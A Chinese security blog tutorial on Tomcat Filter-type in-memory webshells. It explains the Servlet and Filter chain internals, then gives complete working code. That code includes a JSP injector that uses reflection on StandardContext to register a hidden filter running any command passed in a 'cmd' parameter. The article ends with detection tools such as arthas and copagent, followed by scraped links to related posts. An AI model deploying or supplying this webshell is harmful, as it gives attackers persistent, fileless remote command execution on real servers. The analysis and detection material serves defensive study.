6. 站在巨人的肩膀学习Java Filter型内存马
本文站在巨人的肩膀学习Java Filter型内存马,文章里面的链接以及图片引用于下面文章,参考文章:
Tomcat简介
什么是Servlet
Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。
请求的处理流程
1. 客户端发起一个http请求,比如get类型。
2. Servlet容器接收到请求,根据请求信息,封装成HttpServletRequest和HttpServletResponse对象。
3. Servlet容器调用HttpServlet的init()方法,init方法只在第一次请求的时候被调用。
4. Servlet容器调用service()方法。service()方法根据请求类型,这里是get类型,分别调用doGet或者
doPost方法,这里调用doGet方法。doXXX方法中是我们自己写的业务逻辑。
5. 业务逻辑处理完成之后,返回给Servlet容器,然后容器将结果返回给客户端。容器关闭时候,会调用destory方法
1.3 Tomcat和Servlet的关系
Tomcat 是Web应用服务器,是一个Servlet/JSP容器,Tomcat 作为Servlet容器,负责处理客户请求,把请求传送给Servlet,并将Servlet的响应传送回给客户。
其中Tomcat中有四种类型的Servlet容器,从上到下分别是 Engine、Host、Context、Wrapper
1. Engine,实现类为 org.apache.catalina.core.StandardEngine
2. Host,实现类为 org.apache.catalina.core.StandardHost
3. Context,实现类为 org.apache.catalina.core.StandardContext
4. Wrapper,实现类为 org.apache.catalina.core.StandardWrapper
它们之间是存在父子关系的
- Engine:可以用来配置多个虚拟主机,每个虚拟主机都有一个域名,当Engine获得一个请求时,它把该请求匹配到某个Host上,然后把该请求交给该Host来处理,Engine有一个默认虚拟主机,当请求无法匹配到任何一个Host上的时候,将交给该默认Host来处理。
- Host:一个 Host 代表一个虚拟主机,其下可以包含多个 Context。
- Context:一个Context对应于一个Web Application,一个WebApplication由一个或者多个Servlet组成。 Context在创建的时候将根据配置文件\$CATALINA_HOME/conf/web.xml和\$WEBAPP_HOME/WEB-INF/web.xml载入Servlet类,当Context获得请求时,将在自己的映射表(mapping table)中寻找相匹配的Servlet类。如果找到,则执行该类,获得请求的回应,并返回。
- Wrapper:一个 Wrapper 代表一个 Servlet。
每个Wrapper实例表示一个具体的Servlet定义,StandardWrapper是Wrapper接口的标准实现类(StandardWrapper 的主要任务就是载入Servlet类并且进行实例化)
最终的流程图如下:
Tomcat容器
在 Tomcat 中,每个 Host 下可以有多个 Context (Context 是 Host 的子容器), 每个 Context 都代表一个具体的Web应用,都有一个唯一的路径就相当于下图中的 /shop /manager 这种,在一个 Context 下可以有着多个 Wrapper Wrapper 主要负责管理 Servlet ,包括的 Servlet 的装载、初始化、执行以及资源回收
Tomcat Filter流程分析
什么是Filter
filter也称之为过滤器,过滤器实际上就是对web资源进行拦截,做一些过滤,权限鉴别等处理后再交给下一个过滤器或servlet处理,通常都是用来拦截request进行处理的,也可以对返回的response进行拦截处理。
当多个filter同时存在的时候,组成了filter链。web服务器根据Filter在web.xml文件中的注册顺序,决定先调用哪个Filter。第一个Filter的doFilter方法被调用时,web服务器会创建一个代表Filter链的FilterChain对象传递给该方法。在doFilter方法中,开发人员如果调用了FilterChain对象的doFilter方法,则web服务器会检查FilterChain对象中是否还有filter,如果有,则调用第2个filter,如果没有,则调用目标资源。
如果我们动态创建一个filter并且将其放在最前面,我们的filter就会最先执行,当我们在filter中添加恶意代码,就会进行命令执行,这样也就成为了一个内存 Webshell
Filter生命周期
- public void init(FilterConfig filterConfig) throws ServletException; //初始化
和我们编写的Servlet程序一样,Filter的创建和销毁由WEB服务器负责。web 应用程序启动时, web 服务器将创建Filter 的实例对象,并调用其init方法,读取web.xml配置,完成对象的初始化功能,从而为后续的用户请求作好拦截的准备工作(filter对象只会创建一次,init方法也只 会执行一次)。开发人员通过init方法的参数,可获得代表当前filter配置信息的FilterConfig对象。
- public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException; //拦截请求
这个方法完成实际的过滤操作。当客户请求访问与过滤器关联的URL的时候,Servlet过滤器将先执行doFilter方法。FilterChain参数用于访问后续过滤器。
- public void destroy(); //销毁
Filter对象创建后会驻留在内存,当web应用移除或服务器停止时才销毁。在Web容器卸载Filter对象之前被调用。该方法在Filter的生命周期中仅执行一次。在这个方法中,可以释放过滤器使用的资源。
相关Filter类介绍
FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例等基本信息
FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter
ApplicationFilterChain:调用过滤器链
ApplicationFilterConfig:获取过滤器
ApplicationFilterFactory:组装过滤器链
WebXml:存放 web.xml 中内容的类
ContextConfig:Web应用的上下文配置类
StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet
Filter过滤链分析
在IDEA中创建Servlet,可参照下方链接《IntelliJ IDEA创建Servlet最新方法 Idea版本2020.2.2以及IntelliJ IDEA创建Servlet 404问题(超详细)》,唯一不一样的是Filter配置在web.xml,而不是通过@注释配置在类中。
web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter>
<filter-name>filterDemo</filter-name>
<filter-class>filter.FilterDemo</filter-class>
</filter>
<filter-mapping>
<filter-name>filterDemo</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<filter>
<filter-name>filterDemo2</filter-name>
<filter-class>filter.FilterDemo2</filter-class>
</filter>
<filter-mapping>
<filter-name>filterDemo2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
</web-app>
这里写了两个FilterDemo,代码基本相同,主要是为了展示这个Filter过滤链
FilterDemo.java:
package filter;
import javax.servlet.*;
import java.io.IOException;
public class FilterDemo implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("第一个Filter 初始化创建");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("第一个Filter执行过滤操作");
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
}
访问 http://localhost:8080/,即可成功触发
接下来借用下面这张图分析一下 Tomcat 中是如何将我们自定义的 filter 进行设置并且调用的:
Filter的配置在web.xml中,Tomcat会首先通过ContextConfig创建WebXML的实例来解析web.xml
先来看在StandardWrapperValue.java文件中中利用createFilterChain来创建filterChain
跟进createFilterChain方法
通过getParent()获取当前的Context,也就是当前的应用,然后从Context中获取filterMaps
然后开始遍历FilterMaps
如果当前请求的url与FilterMap中的urlPattern匹配,就会调用 findFilterConfig 方法在 filterConfigs 中寻找对应 filterName名称的 FilterConfig,然后如果不为null,就进入if循环,将 filterConfig 添加到 filterChain中,跟进addFilter方法
可以看到此时已经装配第一个filter
重复遍历直至将所有的filter全部装载到filterchain中
重新回到 StandardContextValue 中,调用 filterChain 的 doFilter 方法 ,就会依次调用 Filter 链上的 doFilter方法
此时的filterchain
跟进doFilter方法,在 doFilter 方法中会调用 internalDoFilter方法
跟进internalDoFilter方法
发现会依次从 filters 中取出 filterConfig,然后会调用 getFilter() 将 filter 从filterConfig 中取出,调用 filter 的 doFilter方法。从而调用我们自定义过滤器中的 doFilter 方法,从而触发了相应的代码。
总结:
- 根据请求的 URL 从 FilterMaps 中找出与之 URL 对应的 Filter 名称
- 根据 Filter 名称去 FilterConfigs 中寻找对应名称的 FilterConfig
- 找到对应的 FilterConfig 之后添加到 FilterChain中,并且返回 FilterChain
- filterChain 中调用 internalDoFilter 遍历获取 chain 中的 FilterConfig ,然后从 FilterConfig 中获取 Filter,然后调用 Filter 的 doFilter 方法
根据上面的总结可以发现最开始是从 context 中获取的 FilterMaps
将符合条件的依次按照顺序进行调用,那么我们可以将自己创建的一个 FilterMap 然后将其放在 FilterMaps 的最前面,这样当 urlpattern 匹配的时候就回去找到对应 FilterName 的 FilterConfig ,然后添加到 FilterChain 中,最终触发我们的内存shell。
Filter型内存马
Filter型内存马原理
Filter是javaweb中的过滤器,会对客户端发送的请求进行过滤并做一些操作,我们可以在filter中写入命令执行的恶意文件,让客户端发来的请求通过它来做命令执行。而filter内存马是通过动态注册一个恶意filter,由于是动态注册的,所以这个filter没有文件实体,存在于内存中,随着tomcat重启而消失。一般我们把这个filter放在所有filter最前面优先执行,这样我们的请求就不会受到其他正常filter的干扰。
web.xml简单实现内存马注入
看完上面的Filter过滤链,本地模拟一个Filter内存马注入:
在web.xml添加一个恶意的filter:
- <?xml version="1.0" encoding="UTF-8"?>
- <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
- xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
- xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
- version="4.0">
- <filter>
- <filter-name>cmd_Filters</filter-name>
- <filter-class>filter.cmd_Filters</filter-class>
- </filter>
- <filter-mapping>
- <filter-name>cmd_Filters</filter-name>
- <url-pattern>/*</url-pattern>
- </filter-mapping>
- <filter>
- <filter-name>filterDemo</filter-name>
- <filter-class>filter.FilterDemo</filter-class>
- </filter>
- <filter-mapping>
- <filter-name>filterDemo</filter-name>
- <url-pattern>/*</url-pattern>
- </filter-mapping>
- </web-app>
cmd_Filters.java
- package filter;
- import javax.servlet.*;
- import javax.servlet.annotation.WebFilter;
- import javax.servlet.annotation.WebServlet;
- import javax.servlet.http.HttpServletRequest;
- import javax.servlet.http.HttpServletResponse;
- import java.io.IOException;
- import java.io.InputStream;
- import java.util.Scanner;
- public class cmd_Filters implements Filter {
- public void destroy() {
- }
- public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
- HttpServletRequest req = (HttpServletRequest) request;
- HttpServletResponse resp = (HttpServletResponse) response;
- if (req.getParameter("cmd") != null) {
- boolean isLinux = true;
- String osTyp = System.getProperty("os.name");
- if (osTyp != null && osTyp.toLowerCase().contains("win")) {
- isLinux = false;
- }
- String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
- InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
- Scanner s = new Scanner(in).useDelimiter("\\A");
- String output = s.hasNext() ? s.next() : "";
- resp.getWriter().write(output);
- resp.getWriter().flush();
- }
- chain.doFilter(request, response);
- }
- public void init(FilterConfig config) throws ServletException {
- }
- }
重新编译,执行命令
我们把恶意的Filter注入内存中,只要符合urlpattern,就可以触发内存shell,但这个Filter内存马注入是一次性的,重启就没有了。
看一下此时的Filter类filterConfigs,filterDefs,filterMaps保存的内容
filterchain中保存的内容
可以发现程序在创建过滤器链的时候,如果我们能够修改filterConfigs,filterDefs,filterMaps这三个变量,将我们恶意构造的FilterName以及对应的urlpattern存放到FilterMaps,就可以组装到filterchain里,当访问符合urlpattern的时候,就能达到利用Filter执行内存注入的操作。
Filter内存马动态注入
从上面的例子简单知道内存马的注入过程,但是实际环境中怎么可能在web.xml中添加对应的恶意Filter类,所以我们需要借用Java反射来修改filterConfigs,filterDefs,filterMaps这三个变量,将我们恶意构造的FilterName以及对应的urlpattern存放到FilterMaps,进而达到利用Filter执行内存注入的操作。
大致流程如下:
1. 创建一个恶意 Filter
2. 利用 FilterDef 对 Filter 进行一个封装
3. 将 FilterDef 添加到 FilterDefs 和 FilterConfig
4. 创建 FilterMap ,将我们的 Filter 和 urlpattern 相对应,存放到 filterMaps中(由于 Filter 生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的 Filter 最先触发)
从前面的的分析,可以发现程序在创建过滤器链的时候,context变量里面包含了三个和filter有关的成员变量:filterConfigs,filterDefs,filterMaps
现在要解决的两个问题:
- 如何获取这个context对象。
- 如何修改filterConfigs,filterDefs,filterMaps,将恶意类插入。
1) 如何获取这个(StandardContext)context对象
在这之前先来说一下ServletContext跟StandardContext的关系:
Tomcat中的对应的ServletContext实现是ApplicationContext。
在Web应用中获取的ServletContext实际上是ApplicationContextFacade对象,对ApplicationContext进行了封装,而ApplicationContext实例中又包含了StandardContext实例,以此来获取操作Tomcat容器内部的一些信息,例如Servlet的注册等。通过下面的图可以很清晰的看到两者之间的关系
当我们能直接获取 request 的时候,可以直接将 ServletContext 转为 StandardContext 从而获取 context。
其实也是层层递归取出context字段的值。
ServeltContext -> ApplicationContext
- ServletContext servletContext = request.getSession().getServletContext();
- Field appctx = servletContext.getClass().getDeclaredField("context");
- appctx.setAccessible(true);
- ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
- //上面几行的目的是为了获取(ApplicationContext)context
通过Java反射获取servletContext所属的类(ServletContext实际上是ApplicationContextFacade对象),使用getDeclaredField根据指定名称context获取类的属性(private final org.apache.catalina.core.ApplicationContext),因为是private类型,所以使用setAccessible取消对权限的检查,实现对私有的访问,此时appctx的值:
通过(ApplicationContext) appctx.get(servletContext)获取(ApplicationContext)context的内容:
现在的目的是继续获取(StandardContext)context的值
ApplicationContext -> StandardContext(ApplicationContext实例中包含了StandardContext实例)
- Field stdctx = applicationContext.getClass().getDeclaredField("context");
- stdctx.setAccessible(true);
- StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
- //上面几行的目的是为了获取(StandradContext)context
通过Java反射获取applicationContext所属的类(org.apache.catalina.core.ApplicationContext),使用getDeclaredField根据指定名称context获取类的属性(private final org.apache.catalina.core.StandardContext),因为是private类型,使用setAccessible取消对权限的检查,实现对私有的访问,此时stdctx的值:
通过(StandardContext) stdctx.get(servletContext)获取(StandardContext)context的内容:
这样就可以获取(StandardContext)context对象。
组合起来就是:
- ServletContext servletContext = request.getSession().getServletContext();
- Field appctx = servletContext.getClass().getDeclaredField("context");
- appctx.setAccessible(true);
- // ApplicationContext 为 ServletContext 的实现类
- ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
- Field stdctx = applicationContext.getClass().getDeclaredField("context");
- stdctx.setAccessible(true);
- // 这样我们就获取到了 context
- StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
上面这种如果是可以直接获取到request对象,就可以通过将ServletContext转StandardContext这种方法来获取(StandardContext)context的方法。如果没有request对象的话可以从当前线程中获取StandardContext(https://zhuanlan.zhihu.com/p/114625962)。
当然也可以从MBean中获取,可以参考下面文章:
2) 如何修改filterConfigs,filterDefs,filterMaps
查看StandardContext源码,先来介绍几个方法
addFilterDef
添加一个filterDef到Context
addFilterMapBefore
添加filterMap到所有filter最前面
ApplicationFilterConfig
为指定的过滤器构造一个新的 ApplicationFilterConfig
先来定义一个恶意的类filterDemo.java:
- package filter;
- import javax.servlet.*;
- import java.io.IOException;
- class filterDemo implements Filter {
- @Override
- public void init(FilterConfig filterConfig) throws ServletException {
- }
- @Override
- public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
- String cmd = servletRequest.getParameter("cmd");
- if (cmd!= null) {
- Process process = Runtime.getRuntime().exec(cmd);
- java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
- new java.io.InputStreamReader(process.getInputStream()));
- StringBuilder stringBuilder = new StringBuilder();
- String line;
- while ((line = bufferedReader.readLine()) != null) {
- stringBuilder.append(line + '\n');
- }
- servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
- servletResponse.getOutputStream().flush();
- servletResponse.getOutputStream().close();
- return;
- }
- filterChain.doFilter(servletRequest, servletResponse);
- }
- @Override
- public void destroy() {
- }
- }
filterDef装载
看一下filterDef类的参数格式:
实例化一个FilterDef对象,并将恶意构造的恶意类添加到filterDef中
- //定义一些基础属性、类名、filter名等
- filterDemo filter = new filterDemo();
- FilterDef filterDef = new FilterDef();
- //name = filterDemo
- filterDef.setFilterName(name);
- filterDef.setFilterClass(filter.getClass().getName());
- filterDef.setFilter(filter);
- //添加filterDef
- standardContext.addFilterDef(filterDef);
filterMap装载
看一下filterMap类的参数格式:
实例化一个FilterMap对象,并将filterMap到所有filter最前面
- //创建filterMap,设置filter和url的映射关系,可设置成单一url如/xyz ,也可以所有页面都可触发可设置为/*
- FilterMap filterMap = new FilterMap();
- // filterMap.addURLPattern("/*");
- filterMap.addURLPattern("/xyz");
- //name = filterDemo
- filterMap.setFilterName(name);
- filterMap.setDispatcher(DispatcherType.REQUEST.name());
- //添加我们的filterMap到所有filter最前面
- standardContext.addFilterMapBefore(filterMap);
filterConfigs装载
FilterConfigs存放filterConfig的数组,在FilterConfig中主要存放FilterDef和Filter对象等信息
先获取当前filterConfigs信息
- Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
- Configs.setAccessible(true);
- Map filterConfigs = (Map) Configs.get(standardContext);
下面通过Java反射来获得构造器(Constructor)对象并调用其newInstance()方法创建创建FilterConfig
- Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
- constructor.setAccessible(true);
- ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
先调用ApplicationFilterConfig.class.getDeclaredConstructor方法,根据context.class与filterDef.class两种参数类型寻找对应的构造方法,获取一个Constructor类对象。
然后通过newInstance(standardContext, filterDef)来创建一个实例。
然后将恶意的filter名和配置好的filterConfig传入
- //name = filterDemo
- filterConfigs.put(name,filterConfig);
至此,我们的恶意filter已经全部装载完成
3) 内存马动态注入
结合上面的分析,最终的内存马为:
filterDemo.jsp
- <%@ page import="org.apache.catalina.core.ApplicationContext" %>
- <%@ page import="java.lang.reflect.Field" %>
- <%@ page import="org.apache.catalina.core.StandardContext" %>
- <%@ page import="java.util.Map" %>
- <%@ page import="java.io.IOException" %>
- <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
- <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
- <%@ page import="java.lang.reflect.Constructor" %>
- <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
- <%@ page import="org.apache.catalina.Context" %>
- <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
- <%
- final String name = "FilterAgent";
- ServletContext servletContext = request.getSession().getServletContext();
- Field appctx = servletContext.getClass().getDeclaredField("context");
- appctx.setAccessible(true);
- ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
- Field stdctx = applicationContext.getClass().getDeclaredField("context");
- stdctx.setAccessible(true);
- StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
- Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
- Configs.setAccessible(true);
- Map filterConfigs = (Map) Configs.get(standardContext);
- if (filterConfigs.get(name) == null){
- Filter filter = new Filter() {
- @Override
- public void init(FilterConfig filterConfig) throws ServletException {
- }
- @Override
- public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
- HttpServletRequest req = (HttpServletRequest) servletRequest;
- if (req.getParameter("cmd") != null){
- byte[] bytes = new byte[1024];
- Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start();
- int len = process.getInputStream().read(bytes);
- servletResponse.getWriter().write(new String(bytes,0,len));
- process.destroy();
- return;
- }
- filterChain.doFilter(servletRequest,servletResponse);
- }
- @Override
- public void destroy() {
- }
- };
- FilterDef filterDef = new FilterDef();
- filterDef.setFilter(filter);
- filterDef.setFilterName(name);
- filterDef.setFilterClass(filter.getClass().getName());
- /**
- * 将filterDef添加到filterDefs中
- */
- standardContext.addFilterDef(filterDef);
- FilterMap filterMap = new FilterMap();
- filterMap.addURLPattern("/*");
- filterMap.setFilterName(name);
- filterMap.setDispatcher(DispatcherType.REQUEST.name());
- standardContext.addFilterMapBefore(filterMap);
- Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
- constructor.setAccessible(true);
- ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
- filterConfigs.put(name,filterConfig);
- out.print("Inject Success !");
- }
- %>
tomcat 7 与 tomcat 8 在 FilterDef 和 FilterMap 这两个类所属的包名不一样
<!-- tomcat 8/9 -->
<!-- page import = "org.apache.tomcat.util.descriptor.web.FilterMap"
<!-- page import = "org.apache.tomcat.util.descriptor.web.FilterDef" -->
<!-- tomcat 7 -->
<%@ page import = "org.apache.catalina.deploy.FilterMap" %>
<%@ page import = "org.apache.catalina.deploy.FilterDef" %>
运行程序,访问filterDemo.jsp
此时的内存马已经注入到内存中,只需 ?cmd=Command,即可执行我们的命令
看一下此时的filterchain过滤链:
看一下filterConfigs,filterDefs,filterMaps中的内容:
已经成功注入到内存中
内存马排查
参考《tomcat内存马的多种查杀方式》
arthas
arthas是Alibaba开源的Java诊断工具
工具链接:https://github.com/alibaba/arthas
使用文档:https://arthas.aliyun.com/doc/quick-start.html
运行下面命令
- java -jar arthas-boot.jar
输入1选择tomcat的进程,之后会进入下面的操作界面:
利用下面的命令进行模糊搜索,会列出所有调用了Filter的类
- sc *.Filter
利用下面命令将 Class 进行反编译
- jad --source-only org.apache.jsp.filterDemo_jsp
同时也可以进行监控 ,当我们访问 url 就会输出监控结果
- watch org.apache.catalina.core.ApplicationFilterFactory createFilterChain 'returnObj.filters.{?#this!=null}.{filterClass}'
copagent
工具链接:https://github.com/LandGrey/copagent
运行下面命令
- java -jar cop.jar
输入1选择tomcat的进程,之后会进入下面的操作界面:
然后在java或class文件夹会保存木马以及运行的类
java-memshell-scanner
工具链接:https://github.com/c0ny1/java-memshell-scanner
c0ny1 师傅写的检测内存马的工具,通过jsp脚本扫描并查杀各类中间件内存马,比Java agent要温和一些。能够检测并且进行删除,是一个非常方便的工具
内存马远不止这些,本文中内存马还是需要上传 jsp 来生效,但是实际上利用方式远不止这样,我们还可以借助各种反序列化来动态注册 Filter 等。
本次项目的代码文件已打包在github:https://github.com/bmjoker/FilterAgent
6. 站在巨人的肩膀学习Java Filter型内存马的更多相关文章
- Java Filter型内存马的学习与实践
完全参考:https://www.cnblogs.com/nice0e3/p/14622879.html 这篇笔记,来源逗神的指点,让我去了解了内存马,这篇笔记记录的是filter类型的内存马 内存马 ...
- Java安全之基于Tomcat的Filter型内存马
Java安全之基于Tomcat的Filter型内存马 写在前面 现在来说,内存马已经是一种很常见的攻击手法了,基本红队项目中对于入口点都是选择打入内存马.而对于内存马的支持也是五花八门,甚至各大公司都 ...
- 站在巨人的肩膀上看Servlet——原来如此(更适合初学者认识Servlet)
前言: 有段时间没更新博客了,这段时间因为要准备考试,考完试后又忙了一阵别的事,一直没能静下心来写博客.大学考试真是越来越恶心了,各种心酸,那酸爽,够味.不过还好,马上就要大三了,听大三学长学姐说大三 ...
- 站在巨人的肩膀上,C++开源库大全
程序员要站在巨人的肩膀上,C++拥有丰富的开源库,这里包括:标准库.Web应用框架.人工智能.数据库.图片处理.机器学习.日志.代码分析等. 标准库 C++ Standard Library:是一系列 ...
- react-native之站在巨人的肩膀上
react-native之站在巨人的肩膀上 前方高能,大量图片,不过你一定会很爽.如果爽到了,请告诉我
- 对EasyDarwin开源项目2018的思考与2019发展的规划:继续站在巨人的肩膀引入更多巨人
EasyDarwin@2018思考 从2012年开始接触Darwin Streaming Server,到2018年从底层开始完全重新架构.研发.完成,EasyDarwin这个项目已经发展了6年了,时 ...
- 议题解析与复现--《Java内存攻击技术漫谈》(二)无文件落地Agent型内存马
无文件落地Agent型内存马植入 可行性分析 使用jsp写入或者代码执行漏洞,如反序列化等,不需要上传agent Java 动态调试技术原理及实践 - 美团技术团队 (meituan.com) 首先, ...
- 站在巨人的肩膀上学习Android开发
我们知道,一開始最好的学习方法是模仿,尤其是模仿巨人. 那说到Android开发的模仿自然就是分析并研究主流程序的布局.实现方法.进而提升自己的技术. 第一招----逆向project 要分析&quo ...
- java的设计模式的一些链接,站在巨人的肩膀上,才能看的更远。(均来源与网上的各个大牛的博客中)
创建型抽象工厂模式 http://www.cnblogs.com/java-my-life/archive/2012/03/28/2418836.html工厂方法 http://www.cnblogs ...
随机推荐
- 微前端框架single-spa初探
前言 最近入职的一家公司采用single-spa这个微前端框架,所以自学了此框架. single-spa这个微前端框架虽然有中文文档,但是有些零散和晦涩. 所以我想在学习之余,写篇博客拉平一下这个学习 ...
- mybaits源码分析--事务管理(八)
一.事务管理 写到这也快进入收尾阶段了了,在介绍MyBatis中的事务管理时不可避免的要接触到DataSource的内容,所以接下来会分别来介绍DataSource和Transaction两块内容. ...
- Java HashMap工作原理:不仅仅是HashMap
前言: 几乎所有java程序员都用过hashMap,但会用不一定会说. 近年来hashMap是非常常见的面试题,如何为自己的回答加分?需要从理解开始. "你用过hashMap吗?" ...
- 为什么要设置GOROOT/GOPATH
设置GOROOT的原因 编译器的位置指定的时候,需要指定GO开发包的安装位置,然后设置环境变量PATH的时候,需要指定到安装包下的bin目录,其中就有以下的编译/执行器.所以GOROOT指定了前面的路 ...
- Shell系列(28)- 条件判断之字符串判断
字符串判断 $变量时要用双引号引起来,即"$变量" 测试选项 作用 -z 字符串 判断字符串是否为空(为空返回真) -n 字符串 判断字符串是否为非空(非空返回真) 字符串1 == ...
- 由浅入深了解cookie
什么是 Cookie "cookie 是存储于访问者的计算机中的变量.每当同一台计算机通过浏览器请求某个页面时,就会发送这个 cookie.你可以使用 JavaScript 来创建和取回 c ...
- windows kubectl 远程操作k8s
在windows 电脑上配置kubectl远程操作kubernetes 一.下载windows版的kubectl可执行文件 下载地址 二.创建.kube 建议使用git bash cd ~ mkdir ...
- GDOI 2021 退役记
Day -n 时常想自己不学OI会怎样,经常畏惧自己其实没有心里想的那样有能力,去机房来麻痹自己 从 3.21 始加大频率刷题,复习以前都学会,而现在都被抛在脑后的算法 反正都要退役了,成绩也得鲜亮点 ...
- torch的下载及安装
Pytorch官网:https://pytorch.org/ 安装的时候如果选择在官网上下载安装的话下载会很慢,试过梯子也是很慢,此处提供一种快速安装的方法. 1.由于我是window系统,我选择了国 ...
- java 从零开始手写 RPC (01) 基于 websocket 实现
RPC 解决的问题 RPC 主要是为了解决的两个问题: 解决分布式系统中,服务之间的调用问题. 远程调用时,要能够像本地调用一样方便,让调用者感知不到远程调用的逻辑. 这一节我们来学习下如何基于 we ...